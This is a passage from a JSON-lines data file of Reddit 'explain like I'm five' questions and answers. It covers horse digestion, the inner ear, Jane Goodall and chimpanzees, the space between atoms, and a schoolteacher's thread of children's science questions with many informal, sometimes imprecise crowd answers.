this point and only the final extraction of nutrients occurs in this last part of the gut. (Horses are **not** ruminants. Ruminants- cows, goats, and sheep- rely primarily on fermentation to digest plant matter, and regularly \"burp up\" food from their Rumen- the first part of their stomach- to chew again (cud), and thus aid fermentation. Ruminants are generally better than horses at extracting nutrients from hay and other plants, although all of these animals are better at this process than humans). \n\nSo: hay is actually a mixture of plants that (hopefully) provide a balanced set of nutrients for our horses, and horses' bodies are better at breaking down plant matter than human bodies. ", "Well think about it this way, horses are immaculate athletic creatures.\n\nBut you have a brain. A brain needs way more stuff than a simple brain like that horse. Our brain can come up with creating machines, calculus, finding the meaning of the universe when we do drugs, and so on. Our brains require a lot more, well stuff. And so do our complex biological structures in our bodies.\n\nThe enzymes and endocrines we use to regulate our bodies relate to our brain to, like the hypothalamus and thyroid. Humans have a lot more biological systems in place because our brain is more developed. This helps us regulate our bodies if we were hunting for days on end, crafting tools for houses to sleep and survive in, dealing with emotional aspects of our social evolutionary complex pack mentality, and so on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.uky.edu/Ag/AnimalSciences/pubs/id146.pdf"], []]}
{"q_id": "ap5hjw", "title": "what the heck is your \u201cinner ear\u201d and what does it do?", "selftext": "Specifically interested in how it affects balance.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ap5hjw/eli5_what_the_heck_is_your_inner_ear_and_what/", "answers": {"a_id": ["eg5v82i", "eg5vjfx", "eg5vun4"], "score": [4, 2, 2], "text": ["It's the part of the ear which makes it actually possible for you to hear something. Soundwaves hit your eardrum which moves stuff in your middle ear. Inner ear converts it to electrical impulses that brain can understand and interprets it as sound. Also inner ear contains tubular system with liquid and hair inside which helps you with balance. The feeling after you spin around and stop but your head is still spinning is caused by this inner ear thingy. The liquid inside still moves so your brain thinks you are still moving. ", "The inner ear is responsible for sound detection and balance. Sounds vibrate through the \"labyrinth,\" a collection of small passageways, and sends signals to your brain. There is a fluid with small crystals in these passageways that move to help your brain determine balance. Thus why if you spin around, you get dizzy... From these crystals being shifted.\n\nI have an inner ear disorder. The crystals in my ear are stuck in place from an ear infection I had as a baby... So I get vertigo, motion sickness, and headaches. It's called Labyrinthitis. ", "Your inner ear is a weirdly shaped fluid filled sac. It has hairs on the lining of it. It uses those hairs to sense the motion of your head. (The fluid moves, and the hairs sense that movement) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3qbdsj", "title": "how does jane goodall get so intimately involved with chimpanzees in the wild without getting attacked?", "selftext": "I heard an interview where Goodall said the behavior of chimpanzees starting from adolescence are unpredictable and you won't know what may cause them to suddenly become angry and violent. There has been reports of people's faces being torn off by chimps, but Goodall has never suffered physically from all these years in the wild, even when she was just starting out", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3qbdsj/eli5_how_does_jane_goodall_get_so_intimately/", "answers": {"a_id": ["cwdog0b"], "score": [2], "text": ["She was very cautious, careful, and took her time becoming a presence in their community and habitat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bjzc2y", "title": "what is the stuff between atoms?", "selftext": "Like my chem professor was talking about how atoms bounce against each other. So what are they traveling in?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bjzc2y/eli5_what_is_the_stuff_between_atoms/", "answers": {"a_id": ["emcgzf4", "emcin3c", "emdeanh"], "score": [27, 4, 4], "text": ["Space.\n\nSpace doesn't start once you get out of the atmosphere.  The atmosphere is just a part of space that has some denser gas concentrations than the bit farther out.  \n\nThere is even space between the atoms of solid metal, just not spaces big enough for gas atoms, that's what we mean by \"solid\".\n\nTo squeeze all the space out, you'd have to have some sort of degenerate matter, like neutronium.", "They don't exactly collide, their magnetic fields repel each other.\nIn between atoms it empty void.", "It's a misconception to say atoms 'bounce' against anything (in most cases). Quantum mechanics has shown atoms, like sub-atomic particles, are wave functions in absence of direct observation. This means that they're not really solid 'things', and not in any one place at a given time. They're better described as a 'probability field', where they exist in many places all at once. The double-slit test has shown, time and again, a single atom can appear to travel through 2 slits in a barrier **at the same time** and **interfere with itself**. It's a difficult concept for us to understand, but physicists have known this for nearly 100 years. Quantum Field Theory has produced the most accurate predictions in all of science.\n\n & #x200B;\n\n*\"Everything we call real is made of things that cannot be regarded as real.\"* \\- Neils Bohr\n\n*\"It is meaningless to assign realism to the universe in the absence of observation\"* \\- Neils Bohr\n\n*\"We must be clear that when it comes to atoms, language can be used only as in poetry. The poet, too, is not nearly so concerned with describing facts as with creating images and establishing mental connections.\"* \\- Neils Bohr"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "senwp", "title": "(more) questions from a grade 3/4 class!", "selftext": "About a month ago I submitted a post of \"big questions\" my 9 and 10 year old students had.  \n\n[_URL_0_](_URL_0_)\n\nThe kids were ecstatic to read the responses you all submitted.  I was blown away at the communities willingness to answer all of their questions.  They were so excited that they immediately started coming up with more questions and asked me to post them.  Here is their latest batch of question.\n\n_____________________________________________________________________________\n\n1)\tWhy do we see the sky when we look up and not the universe?\n\n2)\tWhat are atoms made of?\n\n3)\tWhy do we have fingernails on our fingertips?  Why doesn\u2019t it cover our whole body?\n\n4)\tWhy did the Big Bang explode?\n\n5)\tWho was the first person on Earth?\n\n6)\tWhy is a year 365 days?  Why not 366 or 364?\n\n7)\tWhy is there seven days in a week?\n\n8)\tWhy do we laugh, smile and cry?\n\n9)\tWhat happens when you go in a black hole in space?\n\n10)\tWhat do deaf people hear when they think?\n\n11)\tWhy do dogs only see in black and white?\n\n12)\tWho invented math?\n\n13)\tWhat is the sky?\n\n14)\tWhy after you yawn do tears fall out?\n\n15)\tWill the human race die?\n\n16)\tWhy is the moon gray?\n\n17)\tIf you lose your tongue, can you still talk?\n\n18)\tHow does electricity work?\n\n19)\tHow does a nose smell things?\n\n20)\tAre ghosts real?\n\n21)\tWho thought of sign language?\n\n22)\tWhy is there fat in our bodies?\n\n23)\tWhat was the first kind of bird on Earth?\n\n24)\tWhy does a car need oil?\n\n25)\tHow come when your feet are cold your tears are still warm?\n\n26)\tWhy are there clouds?\n\n27)\tWhy do we have nightmares?\n\n28)\tHow do you put the lead in a pencil?\n\n29)\tHow do we get helium if it goes in the air?\n\n30)\tWhy do we need blood?\n\n31)\tHow did atoms get created cause practically they are everywhere.\n\n\n\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/senwp/more_questions_from_a_grade_34_class/", "answers": {"a_id": ["c4dexih", "c4df01j", "c4df2e1", "c4df41j", "c4df47k", "c4df5n2", "c4df5ur", "c4df62s", "c4df6t2", "c4df7dr", "c4df8bz", "c4df915", "c4df9tw", "c4df9vs", "c4df9zf", "c4dfabg", "c4dfatq", "c4dfbx3", "c4dfc07", "c4dfc2a", "c4dfce5", "c4dfcll", "c4dfd18", "c4dfjv9", "c4dfljj", "c4dfmpm", "c4dg5g4", "c4dg5zy", "c4dg95w", "c4dgab1", "c4dgeec", "c4dgmye", "c4dgt95", "c4dgtr7", "c4dhdue", "c4dhg3t", "c4dhgib", "c4dhlcz", "c4dhufx", "c4dhx17", "c4di5na", "c4digam", "c4dispp", "c4div21", "c4diwa1", "c4diz6c", "c4dj5wr", "c4dkojd", "c4dkqtd", "c4dkw8a", "c4dl6hp", "c4dndym", "c4dns14", "c4do2s7", "c4doi08", "c4dol9g", "c4dpvbc"], "score": [407, 18, 6, 9, 365, 6, 49, 117, 5, 38, 18, 20, 5, 68, 2, 4, 2, 3, 2, 3, 7, 2, 2, 4, 2, 2, 2, 2, 350, 2, 3, 3, 2, 3, 2, 4, 3, 2, 2, 3, 2, 4, 4, 2, 2, 3, 2, 3, 2, 3, 4, 2, 3, 3, 2, 2, 4], "text": ["These are excellent questions! Your class is awesome. :) I'll tackle a few:\n\n#5. **Who was the first person on Earth?**\n\nHumans have been evolving for millions of years. Deciding who was the \"first\" human on Earth is very difficult, because evolution is so slow. It's like deciding when exactly a caterpillar becomes a butterfly, there isn't really one exact moment when it does.\n\n#15. **Will the human race die?**\n\nWe might. We're not treating our planet very nicely right now, so we might eventually make the air too hot or too dirty to breathe and live in. Even if we learn how to treat our planet nicely, we will still need to move somewhere else, because the Sun will start to die in about 5 billion years. It will expand into a really, really big star called a Red Giant, which will engulf and burn up half the planets, and then basically shrink until there's nothing left but a tiny little black ball. So we will need to move to a new planet in a few billion years anyway, if we want to keep living! (Don't let the grownups tell you that exploring space isn't important - it really is!)\n\n#16. **Why is the moon gray?**\n\n~~Dirt on the Moon is gray, and the Moon is all covered in dirt (it doesn't have any oceans or lakes like on Earth), so the Moon looks gray to us.~~ After [some interesting discussion](_URL_0_), I think a better answer for this would be: The Moon is made of many different kinds of rock, some are gray, some are black, some are brown, some are even kind of blueish or greenish. But because we see the Moon from so far away, all those colors kind of blur together, and look gray.\n\n#17. **If you lose your tongue, can you still talk?**\n\n~~If you lost your tongue, you could still say some sounds, like \"ah\" and \"oh\" and \"mm,\" but you need your tongue to say other sounds, like \"ee\" and \"sh\" and \"n\" and other things. You couldn't say very many words anymore, but you could still talk.~~ I had [a great discussion with a phonetician](_URL_1_), and I'm going to edit my answer a bit: If you lost your tongue, you could still say some sounds, like \"mm\" and \"b,\" and \"ff,\" but you need your tongue to say other sounds, like \"ee\" and \"sh\" and \"nn\" and other things. You couldn't say very many words anymore, but you could still talk.\n\n#20. **Are ghosts real?**\n\n~~Ghosts are not real. :)~~ *Apparently*, this is up for debate.\n\n#21. **Who thought of sign language?** \n\n~~People have been using signs for a long time - you use them every day without thinking about it, like waving, or pointing to something. People have been doing that since before we starting using spoken language, and we don't know who did it first, since it was such a long time ago.~~ My answer speaks to gestures, not sign *language*. There are several comments that explain this answer better than I did (e.g., [this one](_URL_3_) and [this one](_URL_2_)).\n\n#23. **What was the first kind of bird on Earth?**\n\n~~[Archaeopteryx](_URL_4_). It still looked a lot like a dinosaur (it had teeth!), but it had wings and feathers, too.~~ A few people have commented on this, and they are correct. My answer for this steps on the toes of my answer for #5, so I'm not sure how you should answer this question. Maybe like a combination of my answers for #5 and #23?\n\n#26. **Why are there clouds?**\n\nAir has very tiny amounts of water in it, so tiny you can't even see them! When these little bits of water collect together, and get really cold, a cloud forms. When a cloud has too much water in it, some of that water can fall down to the ground, and make rain! That's why rain clouds are darker, there's more water in them.\n\n#30. **Why do we need blood?**\n\nBlood takes oxygen and vitamins and nutrients to all parts of our body, like our toes, our brain, our stomachs, everything. If you lose too much blood, you can get really tired, and maybe even die, because your brain and body isn't getting the energy and vitamins that it needs.\n\n**Edit:** Reformatted a bit. Added the questions in my answer, for easier reading.\n\n**Edit 2:** Reworded my answer to #15 to make the Sun sound less like a monster and more like a star.\n\n**Edit 3:** Commented on a few of my answers.\n\n**Edit 4:** Edited my Moon and tongue answer.", "1 and 13:\n\nWhen you look up, you see the light from the sun passing through the air around you, which reaches up much higher than the top of your head.  Air has lots of very small bits of stuff in it, and when the light from the sun hits this stuff, it turns blue. This gets in the way of you seeing the universe beyond during the day.\n\nAside for the curious:  The more stuff the light hits, the more it changes color - the sun is actually white!  It appears yellow because that light is hitting even more stuff than the blue you see, and sunsets are red because there's even MORE stuff.", "This is great. I wish I could give answers but I'm not qualified.\nWish more people asked questions!", "In response to number 28, [here's a video showing how pencils are made](_URL_0_).", "I can only do one, but here goes:\n\n1) Why do we see the sky when we look up and not the universe?\n\nWhen you look up in the sky, you DO see the universe!  The stars and planets and the sun are all *part* of the universe.  When you see the stars, that's in outer space, which means it's really, really far away.  The stars that you see are often bigger than our sun, but because they're so far away, they seem like little specks.  They're part of the universe.  Some of the stars that you see are actually planets, which is pretty cool.  You can usually find Venus and Mars on clear nights.  They're part of our *solar system*, which is our part of the universe.  The reason that it looks like a black blanket with sparkles on it is because it's so far away that everything just seems tiny and flat.  But it's not, it's immensely huge and it's growing all the time.\n\nWhen you look up in the daytime and you can't see the stars, you're still seeing the universe.  The sun is part of the universe, but we're facing it, and so it makes it too bright to see the further-away light from the stars.  When you're looking at the sun though, you're still looking at the universe.\n\nOk, here's the exciting part.  Look at your hand.  Now look at the farthest away thing you can see.  Now think about your best friend.  Now imagine China.  Think about your great-great-great-great-grandmother.  Look at your desk.  These things are all part of the universe too!  Every time you look at anything, you're looking at the universe.  You're part of the universe!  You're made out of the same stuff that makes up all the other things, and everything came out of the Big Bang (which I'm hoping some other Redditor will have the good grace to explain, because I can't do it).  \n\nI hope that's something, I got a little over-excited while I was writing it.  =)", "22) Why is there fat in our bodies?\n\nFat is used to store energy for later use. Think of your favorite battery-powered toy. Those batteries give the toy the energy it needs to do cool things. Fat is like a human's battery- we store extra food as fat, and use it later when we need it. Keep in mind that this process is what kept us alive during more primitive times- humans would eat lots and lots of food when they had it, and then use the fat they stored up to survive during times with less food.\n\nForgive me if this answer is getting a bit long, but it's also important to realize that getting fat in the first place is caused by BOTH eating too much and not getting enough exercise. If you eat a lot of food, you need to go out and do a lot to use up all that energy!", "6) The length of one year is the amount of time it takes for the earth to go around the sun. The earth takes 365.24 days to go around the sun, which is why we have a leap year every four years, to make up that extra bit.\n\n9) Nobody actually knows, but here's what we think. Gravity is so strong there, that your body is squished together, until you become bits of energy. \n\n12) Math has been discovered throughout time by a bunch of different people. Some of them you may know, such as Galileo and Einstein. Different people each figured out something new about how to do math.\n\n22) Fat keeps our body warm, so we don't freeze.\n\n24) In a car, there are pieces of metal rubbing together. If they rubbed together long enough, they would melt and stick together. The oil keeps them slippery so they don't stick together.", "24) Rub your hands together fast. Did your hands feel warm? This is because you created friction by rubbing your hands together, and a byproduct of friction is heat. An engine's metal parts move very fast, and can create a great deal of damaging heat, as well as wear and tear on the engine parts. Oil acts as a lubricant - a slippery substance - to help the metal parts move together without causing a lot of friction and heat. Oil helps the moving parts of the engine run smoothly.", "12- math was not created by one person. people slowly started adding formulas and theorems over time. \n24- in car engines, there are a lot of moving parts that are simply metal spinning, moving, and grinding against more metal. this metal on metal contact creates a lot of friction which means alot of heat. the oil goes between moving parts to reduce friction so parts don't melt.", "6) Why is a year 365 days? Why not 366 or 364?\n\nIt helps to understand first what a day is. A day is how long it takes the earth to \"rotate\". Take a globe and spin it around exactly once. That is one day.\n\nA year is how long it takes the earth to do one \"revolution\" around the sun. Hold a ball on a string and spin the ball around your body, every time it passes directly in front of you, that's one \"revolution\", or one year. \n\nOne year is how long it takes the earth to go around the sun, and we've measured that to be the same amount of times it takes the earth to spin around in one full circle 365 times. (Actually it's 365 and a quarter, and that's where leap years come from).\n\n---\n17) If you lose your tongue, can you still talk?\n\nNope, not really. You can make noises, but not the sounds we typically use for talking to each other.\n\n---\n19) How does a nose smell things?\n\nThere are little sensors in your nose, and those sensors are connected to your brain. When chemicals that float off smelly things (flowers, food, people) touch those sensors, your nose tells your brain what chemicals it sensed, and your brain then turns those into what we understand as smells. \n\nIt's not too different from how your computer works. You push buttons on a computer, which the computer then understands as keys being pushed, and it reacts in certain ways. Imagine pushing a different button on a keyboard is like a different chemical pushing a different sensor in your nose.\n\n---\n29) How do we get helium if it goes in the air?\n\nActually we don't. Most of it comes from underground, and then we store it in tanks. Once it gets out, it's actually very hard to get back. In fact, we're running out of helium! (It's kind of a big deal).\n\n---\n30) Why do we need blood?\n\nBlood pumps really important things like oxygen and the nutrients (good stuff) we get from food through our body. Then the little cells that are all over our body can get those nutrients from our stomach and lungs.\n\n\n---\nedit: formatting", "20 - We have no proof to say that ghosts are real. Nobody can prove that they've ever seen one.\n\n21 - There was a time when many people living in Paris couldn't hear anything at all. But, they still wanted to communicate. So they began talking with their hands and, in 1771, the first school to teach people how to talk with their hands opened.\n\n25 - Your feet are on the outside of your body, your tears come from the inside. Body heat comes from inside and is lost from the outside.\n\n26 - When water gets warm from the sun, it sometimes rises up into the sky. When enough of that sky-water is in the same place, it becomes visible to us as clouds.\n\n27 - This is still not well understood, but it has to do with the way your brain puts together memories and information for later use. It's possible that the part of your brain that does the remembering is spitting out random bits of your life-experiences that the thinking part of your brain is trying to make sense of. Sorry for the poor answer.\n", " > 1) Why do we see the sky when we look up and not the universe?\n\nAt night, you do see the universe!  During the day, the bright sunlight reflects off the air itself, and we see blue.  We can still see the moon which is not part of the \"sky\" (our atmosphere) but we can't see stars because they are so dim.\n\n > 6) Why is a year 365 days? Why not 366 or 364?\n\nIt's actually 365 and a quarter (that's why every 4 years it is 366 instead of 365).  There's no particular reason, that's just how long it takes for the earth to go around the sun.  Years are a lot different on other planets, a year on Mars is between 686 and 687 Earth days.  But Mars days are longer than Earth days, so by Mars days a year on Mars is about 668 and a half days.\n\n > 11) Why do dogs only see in black and white?\n\nTheir eyes are made differently that yours.  Your eyes have special parts that only see color.  You also have a part like a dogs that only sees in black and white.  This part is used mostly in the dark.  Try it sometime, when it is very dark you can see faint outlines of objects but you can't see their color.\n\n > 13) What is the sky?\n\nThe best way to think of the daytime sky is that it is the air itself.  When you look up, you're seeing the sun's light reflected by the air and it is blue.  At night, we don't see the same thing, we can see strait through to outer space.\n\n > 20) Are ghosts real?\n\nThe short answer is no one knows for sure, but probably not.  This might be a good time to talk about the scientific method. We should be able to devise a repeatable experiment to prove the existence of ghosts.  We can't prove that they don't exist, but if we have a lot of trouble proving that they do then we can make some assumptions about the likelyhood of them existing.\n\n > 24) Why does a car need oil?\n\nAll the moving parts are very close together.  The oil helps keep the parts from touching by staying between them.  If the parts touched, they could slow each other down (or stop entirely) and the engine would stop working.  Gasoline is also made of oil.\n\n > 26) Why are there clouds?\n\nThe air is made of lots of different chemicals.  One of them is oxygen (the stuff your body needs to breathe), another is carbon dioxide (the stuff plants breathe), and another is water (like the rain).  When that waters gets high up in the air, where it's cold, it condenses (comes together again) to form tiny little drops.  A lot of these drops together form clouds.  If a whole lot of them get together they make a big cloud, and under the right conditions the drops can fall and you'll get rained on!\n\n > 30) Why do we need blood?\n\nBlood takes the air that goes into your lungs and distributes it to the rest of your body.  Your body is made of billions of tiny cells, and most of them need air to breathe, even the ones deep inside you like your bones and your heart.  Blood takes the air to them.  Blood also brings them food from your stomach, and takes waste away from them to other parts of your body where it can be processed and gotten rid of.  (Poop! eww!  But also the air you breathe out is waste, and it gets out by being brought back to your lungs by blood.)\n", "24) Rub your hands together kind of fast. Notice how it gets really hot, and it sort of hurts if you do it too fast? Now, if you put water between your hands, you can rub them together without it hurting so much, and without it getting too hot. All things that rub against something else have what's called \"friction\" between them, which is what causes those things to heat up when they rub against one another. By putting water between your hands, you're lowering the friction. Oil in a car is the exact same way: All of the mechanical parts run really fast (Thousands of times a second!) against one another, so without oil it would get REALLY hot and things would start to melt.\n\n\n12) Math, like addition, subtraction, multiplication and division, has been around for as long as we can remember. We've found tablets of clay with math you do in your class right now which have been dated to almost 4000 years ago. Basic math is very important to everyday life, so if you think about it, for as long as people have been communicating, there has to have been a way to describe something like \"one more than what I currently have\", or \"three less than yours.\" ", "This could be fun. Lemme give a few of these a go.\n\n1) All the air around the earth gets in the way. We see all the light that is bouncing off the bits of stuff in the air.\n\n2) Atoms are made of smaller particles called protons, neutrons and electrons. Protons and neutrons are in turn made of smaller particles called quarks (really). Whether these are also made of something smaller, we're not really sure yet.\n\n3) Fingernails help us do precise things with our fingers. As to why it's not everywhere, I would assume it's because skin heals quicker, as well as being somewhat more forgiving against some damage.\n\n4) Nobody knows. Also, it wasn't really an explosion, because there was nothing to explode. This one is hard for most people to wrap their heads around, so I'm not too sure how to explain.\n\n5) This one is also tricky. You need to define \"person\" first. It's kind of like pouring sand into a pile and asking when it exactly becomes a pile. There was a gradual change from \"not-person\" to \"person\", but scientists agree that the first person who could be called a modern person lived about 200,000 years ago.\n\n6) One year is the amount of time it takes for the earth to go all the way around the sun. We measure that time, and call it one year. It's actually not 365 days exactly, but 365 and a quarter. Because of this, we have a leap year every 4 years to correct for it.\n\n7) Because someone decided so. It's most likely because there is a full moon every four weeks(ish), so ancient civilizations could measure that and use it to make a conveniently-sized chunk of days.\n\n8) Mostly, to let others know how we are feeling. If you see someone crying, you know to go help them. Laughter is helpful for forming groups.\n\n9) There's no way to know for sure. But we can figure out what we think would happen. You would be stretched extremely long and thin, and if a person tried it, they would die from this before anything else.\n\n10) It depends. If you learn to speak normally, then go deaf (because of injury or something), you hear your own thoughts normally. If you are born deaf, however, it's more interesting. Some scientists think that deaf people who grow up learning sign language of some form think and even dream in sign language.\n\n(Continued)", "#11. Dogs actually don't see in only black and white. They \"have color vision equivalent to red-green color blindness in humans\"", "I'll try a few of these, but some of them are very, very good questions in that they are deep and meaningful. With that said, I only know the answer to a few of them.\n\n > 5) Who was the first person on Earth?\n\nWell, we evolved. Evolution happens very slowly over a very long time. It's tough to draw a line at the point where we actually \"became\" humans. In other words, there was no first person.\n\n > 6) Why is a year 365 days? Why not 366 or 364?\n\nBecause that's how long it takes for the Earth to orbit the sun! Days have 24 hours because that's how long it takes to complete a rotation of the Earth. Remember, the earth is spinning *and* orbiting the sun.\n\n > 7) Why is there seven days in a week?\n\nAncient cultures thought every seventh day was very important, due to their religious affiliations. The tradition has stuck with us.\n\n > 8) Why do we laugh, smile and cry?\n\nThis is a tough one, but the main idea is that we are social animals, and we use these responses to communicate how we feel to eachother.\n\n > 12) Who invented math?\n\nA series of philosophers and thinkers throughout history. No single person invented math. \n\n > 13) What is the sky?\n\nA whole lot of water vapor, gasses, etc. The reason it looks blue is because the water vapor reflects blue light better than any other color, so that is the color we see.\n\n > 15) Will the human race die?\n\nProbably eventually. Not for a long, long time though. (trying to keep this one optimistic for the kids)\n\n > 17) If you lose your tongue, can you still talk?\n\nYou could, but everyone would have a really hard time understanding you. We use our tongue and our lips to form words.\n\n > 20) Are ghosts real?\n\nProbably not. No one has ever been able to prove that they are, even though people have been trying for centuries.\n\n > 22) Why is there fat in our bodies?\n\nFor protection and insulation.\n\n > 24) Why does a car need oil?\n\nCars have metal parts that all work together. Without oil, those parts would grind against eachother and break the engine. Oil keeps evrything lubricated so the metal parts can glide against eachother instead of grinding.\n\n > 25) How come when your feet are cold your tears are still warm?\n\nYour tears come from inside your body. The normal human body temperature is ~98 degrees. Your skin can get cold, but unless you're in a really cold situation, it shouldn't affect your internal temperature that much. If your internal temperature drops too low, it is very dangerous.\n\n > 26) Why are there clouds?\n\nWater evaporates from earth, and because Earth has gravity, the water doesn't just go flying into space. It hangs in the sky as clouds, which are just condensed water vapor.\n\n > 27) Why do we have nightmares?\n\nWhen you go to sleep, part of your brain keeps working. That part is called the subconscious. Sometimes your subconscious comes up with fun things like flying, but sometimes it comes up with scary things.\n\n > 28) How do you put the lead in a pencil?\n\nWhen they make pencils, they make the wood part in two halves. They put the lead rods in one half, then glue the second half to it. (I did a terrible job of explaining that. [This](_URL_0_) site has a detailed description.\n\n > 30) Why do we need blood?\n\nBlood takes oxygen from your lungs and brings it to your muscles so you can pump iron! It also brings nutrients from the food you eat to other parts of your body. It's like a big giant highway system for all the good stuff your body needs.\n\nYour class sounds like a sharp group of kids. Don't let them ever stop asking questions! Best of luck!\n", "5 - This really depends on how you define a \"person\". Scientists generally say that the first human-like animal was a guy named Homo Habilis. He lived nearly two and a half million years ago and looked like this... _URL_0_", "I'll take a couple of these, great questions.\n\n#10. What do deaf people hear when they think.\n\nWell the simple answer is they don't hear anything. Imagine you never saw the color green a single time in your life. Someone asks you \"Well what color do you see when someone says green?\". You don't see any color because it's something you've never had to experience before. \n\n#30 Why do we need blood?\n\nThink of blood like a subway system transporting people through a big city. Instead of carrying people, blood carries nutrients like sugar and oxygen to all of the different parts of your body, all the way from your brain to the bottom of your feet. ", "8 - In psychology, there are several explanations for why we laugh, smile and cry. They mostly have to do with the idea that, through expressing our feelings, we can reach goals like getting food, attention or help from other people.", "4) The Big Bang is a bad name, it didn't really explode.  You should ask, \"Why did the universe start expanding?\"  It is thought to have started 13.7 billion years ago.  Nobody knows why it happened because we can't study that far back.  All we do know is that it probably happened.  The moment when the universe started expanding is when time began for us, so it is difficult to say what happened 'before time'.\n\n5) Our species gradually emerged from some other species.  It was a slow process and so there isn't a first person.  Our species is thought to have been as we are today about 200K years ago\n\n9) As you approach the black hole, your body starts getting stretched and pulled into it.  The closer you get the faster you are pulled in.  The atoms of your body are torn apart and eventually you get sucked in.  You won't be conscious to see this happening, though, since your body will have been pulled apart already.  You will merge with whatever other matter is there near the black hole\n\n11)  Dogs don't see in black and white only.  Dogs can see colors but the way they see colors is slightly different.  They can be somewhat colorblind and other colors can appear somewhat paler or muted.\n\n12)  Nobody invented it, it is something natural that people started doing when they needed to count things.  They could count crops or people or cows or money and have to deal with things in different ways (add more cows, divide some crops).  It developed from there.\n\n15)  Yes, we don't know how but some day the race must end - it can become some other species, or we can be killed by nuclear war or our sun can turn into a red giant and destroy the planet or an asteroid could hit our planet and cause a global ice age or there is a runaway greenhouse effect.  We don't know what will happen in the future, only make guesses.\n\n29) Helium can be found in Helium pockets deep inside the earth.  Drillers will drill down there and capture the gas while it escapes.  \n\n30) We need blood because it carries Oxygen to different parts of our body.  We need Oxygen everywhere!  \n\n", "Neuroscientist here!\n\n10) What do deaf people hear when they think?\n\nWell, it depends on whether the person was deaf from birth, or became deaf sometime later. If you were deaf from birth, there's really no such thing as \"hearing\" as we experience it. The tough part to understand is that this is different from silence. It's not that they *hear nothing*...it's that there is no \"hearing,\" period. They may be able to read about and kind of understand what a sound is, but it's not something they'll ever experience.\n\nIf the person *wasn't* deaf from birth, they could probably still \"hear\" things based on memory. The brain is literally changed by sensory experiences, and it can hold on to traces of them (in a way). So a person deaf from, say, an accident may still be able to think about a song and \"hear\" that song in his/her head.\n\n\n8) Why do we laugh, smile, and cry?\n\nEmotions are controlled mostly by a part of your brain called the limbic system. Emotions are low-level processes (that is, you don't have to think to do them), and are related to interacting with your environment and surviving. Take fear for example: you're afraid of snakes, but you've probably never even seen one in real life. The idea is that millions of years of evolution made that part of our brain recognize snakes as a threat, and we're afraid of them because avoiding them keeps us alive.\n\nLaughing, smiling, and crying are similar, but scientists think they're more like social cues for interacting with other members of our species. Crying tells others you're hurt, smiling tells others you're not a threat. Laughing is kind of complicated...now, laughing is a way of being pleasant with friends. But some people think it evolved as a sign of submission (\"you're bigger and stronger than me - I'm not a threat to you - please don't beat me up\").\n", " > 6) Why is a year 365 days? Why not 366 or 364?\n\nThat's how many days it takes the Earth to revolve around the sun. It's not up for people to decide.\n\n(Someone may want to expand to include leap year?)\n\n > 8) Why do we laugh, smile and cry?\n\nEmotions tend to have distinct, automatic physical reaction associated with them so that those around us are able to know how we feel. This was much more useful in our evolutionary timeline before language existed.\n\n > 17) If you lose your tongue, can you still talk?\n\nNo. You can make sounds, but not most of the ones associated with talking, like L or T.\n\n > 20) Are ghosts real?\n\nNo.", "24) Why does a car need oil?\n\nBecause car engines are made of metal. The metal pieces that make up the engine are very close together. See image. _URL_0_\n\nIn fact, some engine peices are so close together they rub up against each other. This is very similar to putting the palms of your hands together and rubbing them together very quickly. If you do this with your hands, you'll notice that heat is produced from the \"rubbing.\" \n\nThis same thing occurs in an engine when the metal rubs up against other metal. However, they rub together much faster than you can rub your hands together and create much more heat. Without the oil, the engine would melt! The oil actually absorbs and dissipates the heat from the metal!", "I'll try a few.\n\n\n#6 - *Why is a year 365 days? Why not 366 or 364?*\nA year is the length of time it takes for the Earth to go all the way around the sun. That length of time is pretty close to (but not exactly!) 365 days. \n\nExtra info: Every four years, we add an extra day to February to make the year a little longer -- these years are called leap years. Leap years make sure that the length of the next 4 years is correct.\n\n\n#12 - *Who invented math?*\nIt's hard to say -- Math has been around since people have been able to count. The Ancient Greeks made lots of important advances in mathematics, so advanced maths has been around for at least a few thousand years.\n\n\n#18 - *How does electricity work?*\nElectricity is complicated.\nLittle, tiny tiny things called \"electrons\" are hovering around the outside of every atom. Electrons have a *negative* charge, and can move onto any atom with a *positive* charge. The thing is, when they do, the atom they moved from *gets* a positive charge. This is how electricity transfers through cables: electrons move from atom-to-atom in the cable, and end up going into and powering whatever they're plugged into.\n\n*Side note: It's obviously nowhere near that simple, but overlooking some details, that should be the fundamentals of it.*\n\n\n#22 - *Why is there fat in our bodies?*\nFat comes in food. Your body stores fat so it can use it as energy later. The thing is, when you don't do lots of exercise (running, climbing, playing), your body doesn't get to use it as energy, so it just sort of stays there.\n\n\n#30 - *Why do we need blood?*\nBlood does a whole lot of stuff! When you breathe in, the oxygen in the air goes into your lungs, and your blood carries it to your muscles, brain; everywhere! This is why yawning feels good; you bring in a LOT of oxygen at one time and it relaxes all your muscles.\n\nBlood also forms scabs whenever you get a cut or scrape, protecting the area so your skin can grow back underneath. Blood also has white blood cells, which attack infections and diseases. You can probably see that blood does a whole lot!\n\n_______________________________________\n\nOkie dokie, that's me done. Feel free to point out any scathing errors so I may fix them.", " > 2) What are atoms made of?\n\nAtoms are made of smaller pieces called *subatomic particles*. The centre of an atom, called nucleus, is made of positively charged *protons* and *neutrons* with no charge. The nucleus is surrounded by a cloud of negatively charged *electrons*.\n\n > 6) Why is a year 365 days? Why not 366 or 364?\n\nOne year is the length of time it takes for Earth to make one full circle around the Sun. However, it doesn't take exactly 365 days, but a little bit more. To solve this problem, every four years we have a so-called *leap year*, which is 366 days long.\n\n > 18) How does electricity work?\n\nParticles that are positively charged are attracted to the negative ones. In metals electrons (see 2) do not sit around atoms, but can move around freely between them. When you connect this metal to a battery, electrons will start flowing towards the positive side (since they're negative). The negative side of the battery will supply the metal with more electrons, so it will remain neutrally charged. Most our devices can use this flow of electrons as a source of energy.\n\n > 28) How do you put the lead in a pencil?\n\nA pencil is a sandwich of two pieces of wood with lead in between. You take a piece of wood, cut grooves on one side, cover with glue, put the lead (which is actually made of graphite, not the poisonous metal) into the grooves, and cover with an identical piece of wood. [Here's 